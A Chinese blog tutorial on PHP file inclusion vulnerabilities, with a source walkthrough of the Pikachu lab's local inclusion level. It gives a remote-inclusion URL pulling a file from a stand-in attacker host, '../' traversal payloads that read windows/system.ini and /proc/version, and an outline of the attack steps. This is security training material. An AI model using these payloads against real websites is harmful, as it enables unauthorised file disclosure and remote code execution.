当前位置: 首页 > news >正文

文件包含漏洞: 函数,实例[pikachu_file_inclusion_local]

文件包含

文件包含是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件

主要作用和用途:

  1. 代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包含这些文件,避免重复编写相同代码。

  2. 模块化设计:文件包含支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。

  3. 功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。

文件包含简单示例

使用include函数,在代码中引用html头部和尾部标签,实现网页的编写

index.php<?php
// 包含头部文件
include "header.php";// 页面的主要内容
echo "<h1>欢迎来到首页</h1>";
echo "<p>这是一个示例页面。</p>";// 包含尾部文件
include "footer.php";
?>

html头部文件

header.php
<!DOCTYPE html>
<html>
<head><title>示例页面</title><meta charset="UTF-8"><script src="script.js"></script>
</head>
<body>

html尾部文件

footer.php</body>
</html>

PHP常见的文件包含函数

函数用法介绍主要用途
include()include 'filename.php';包含并执行指定文件。如果文件不存在,将产生警告,但脚本会继续执行。用于包含那些可能会重复使用的代码文件,如配置文件、库文件等。
require()require 'filename.php';包含并执行指定文件。如果文件不存在,将产生错误,脚本会终止执行。用于包含那些对脚本至关重要的文件,如初始化脚本。
include_once()include_once 'filename.php';如果文件已经被包含,则不会再次包含。执行效果与include()相同。用于包含那些在整个脚本执行过程中只需要包含一次的文件。
require_once()require_once 'filename.php';如果文件已经被包含,则不会再次包含。执行效果与require()相同。用于确保关键文件在整个脚本执行过程中只被加载一次。
require_all()*require_all 'directory/';不标准:递归包含指定目录下的所有PHP文件。具体实现可能因环境而异。

 文件包含漏洞

原理

当网站引入了代码或程序,且并没有对来源进行严格的校验时,就可能产生文件包含漏洞

漏洞类型

1.本地文件包含:网站包含本地服务器文件

        危害:敏感文件泄露

        url示例:http://example.com/page.php?file=info.php

2.远程文件包含:网站包含远程服务器文件

        危害:引用外部木马文件,服务器窃取

        url示例:http://example.com/page.php?file=http://attacker.com/remote.php

攻击流程

<1.寻找可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站

<2.更改文件引用路径,尝试读取本地文件,或引用外部服务器文件

<3.尝试使用伪协议执行命令,或查找文件

漏洞实例

本地文件包含[pikachu_file_inclusion_local]源码讲解

源码解读

if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "include/$filename";
}

1.判断前端传递参数,中是否存在submit参数,并且filename参数值为非空

        <1 使用isset函数检查变量是否存在且非空

        <2 使用比较运算符 != 判断参数filename的值不为空

        <3 使用 逻辑与  && 将上述两个条件表达式进行拼接

        <4 条件表达式同为真(true),执行if内的代码块

2.创建变量filename接收前端参数filename的值

        <1 创建变量filename接收前端filename的值

3.将其拼接进include路径下,并使用include进行包含

        <1 将获取到的变量名拼接入,当前路径下的include文件夹路径下

        <2 PHP解释器在执行include语句时,解析字符串中的变量,并用变量的值进行替换

        <3 如果文件存在,会进行读取并显示

攻击流程

1.寻找攻击点

fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

更改不同选项提交,参数filename的值随打开不同的文件,进行切换

2.更改携带参数观察页面状态

此处显示报错,并回显得出信息。

<1>windows系统

<2> 网站目录:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php

3.读取系统文件,并在无报错回显情况下,查询信息

原理:(../)可以查询上级目录下内容,且如果多个连用时可以忽视目录层级进行文件查询

windows系统配置文件:../../../../../windows/system.ini

 linux内核信息文件:../../../../../../../../../../../../proc/version

#如果没显示,尝试多写几层

 

http://www.lryc.cn/news/404603.html

相关文章:

  • 学习计划2024下半年
  • RabbitMQ的学习和模拟实现|sqlite轻量级数据库的介绍和简单使用
  • AI批量剪辑,批量发布大模型矩阵系统搭建开发
  • SpringMVC源码深度解析(中)
  • Mojo模型动态批处理:智能预测的终极武器
  • 人、智能、机器人……
  • SpringCloud------Sentinel(微服务保护)
  • 【无标题】Elasticsearch for windows
  • Yolo-World网络模型结构及原理分析(一)——YOLO检测器
  • WEB前端06-BOM对象
  • Android11 framework 禁止三方应用开机自启动
  • Java | Leetcode Java题解之第263题丑数
  • 将AWS RDS MySQL实例从存储未加密改为加密的方案
  • nginx的配置:TLSv1 TLSv1.1 被暴露不安全
  • 揭开黑箱:目标检测中可解释性的重要性与实现
  • Mysql高价语句
  • ArcGIS Pro SDK (九)几何 6 包络
  • 单链表<数据结构 C版>
  • 监控电脑进程,避免程序在打开前就已经在运行
  • 【MySQL进阶篇】存储对象:视图、存储过程及触发器
  • 算法day05 master公式估算递归时间复杂度 归并排序 小和问题 堆排序
  • 基于jeecgboot-vue3的Flowable流程仿钉钉流程设计器-支持VForm3表单的选择与支持
  • 【刷题汇总 -- 压缩字符串(一)、chika和蜜柑、 01背包】
  • 《Exploring Aligned Complementary Image Pair for Blind Motion Deblurring》
  • vue2学习笔记9 - 通过观察vue实例中的data,理解Vue中的数据代理
  • 04 Git与远程仓库
  • 数据库之表的查询
  • String 和StringBuilder字符串操作快慢的举例比较
  • Java代码基础算法练习-竞猜卡片值-2024.07.22
  • Python爬虫-淘宝搜索热词数据